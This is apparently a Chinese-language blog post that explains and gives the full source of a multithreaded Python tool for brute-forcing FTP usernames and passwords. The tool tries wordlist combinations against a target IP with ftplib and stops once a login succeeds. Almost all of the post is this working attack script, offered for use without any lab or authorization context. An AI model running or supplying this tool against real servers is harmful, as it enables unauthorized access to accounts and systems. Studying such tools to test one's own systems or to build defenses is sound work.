利用Python实现FTP用户名密码穷举工具
本代码利用面向对象思想实现,主要用到的模块包括:
1. 多线程模块threading,但是发现需要加入time.sleep,否则会出现各种异常,而且异常还不能被捕获(很奇怪)
2. ftplib模块,为主要模块,实现与服务器的交互
3. queue模块,利用该模块实现不同线程之间的数据共享,这里主要是是否破解成功,如果成功登陆,则无需继续创建线程,退出程序
import threading import sys import queue import optparse import ftplib import os import termcolor import time class FTPCredentialAttack: def __init__(self) -> None: self.target = self.get_params()[0] #FTP服务器的IP地址 self.userlist = self.get_params()[1] #用户名列表,用于穷举 self.passlist = self.get_params()[2] #密码列表,用于穷举 self.banner() # 显示程序版本信息 self.q = queue.Queue() # 初始化队列对象,用于共享不同线程之间的数据,此处主要保存用户登录是否成功的标识 def banner(self): banner = """ ****************************************************************** ****************************************************************** %s ****************************************************************** ****************************************************************** """ % termcolor.colored("FTP Attack Tool by Jason Wong V1.0",'yellow') print(banner) def get_params(self): parser = optparse.OptionParser("Usage: <Program> -t target -U userlist -P password list") parser.add_option('-t', '--target', dest='target', type='string', help="Specify IP address of target to attack") parser.add_option('-U','--userlist', dest='userlist', type='string', help='Specify userlist file') parser.add_option('-P', '--passlist', dest='passlist', type='string', help='Specify password list') options, args = parser.parse_args() if options.target is None or options.userlist is None or options.passlist is None: print(parser.usage) sys.exit(0) if not os.path.exists(options.userlist): print("Userlist does not exist") sys.exit(0) if not os.path.exists(options.passlist): print("Passlist does not exist") sys.exit(0) return (options.target, options.userlist, options.passlist) def ftp_login(self,username, password): ftp = ftplib.FTP(self.target) try: response = ftp.login(username, password) if '230 Login' in response: print("Credentials for the target found: %s\t%s" % (username, password)) self.q.put('Done') except Exception: pass finally: ftp.close() def run(self): with open(self.userlist, 'r') as uf: for user_line in uf.readlines(): username = user_line.strip() with open(self.passlist) as pf: for pass_line in pf.readlines(): password = pass_line.strip() print("Try to login as: %s \t %s" % (username, password)) if self.q.empty(): t = threading.Thread(target=self.ftp_login, args=(username, password)) t.start() time.sleep(0.5) else: sys.exit(0) if self.q.empty(): print("Failed to attack!") if __name__ == "__main__": ftp_attacker = FTPCredentialAttack() ftp_attacker.run()
STRIVE FOR PROGRESS,NOT FOR PERFECTION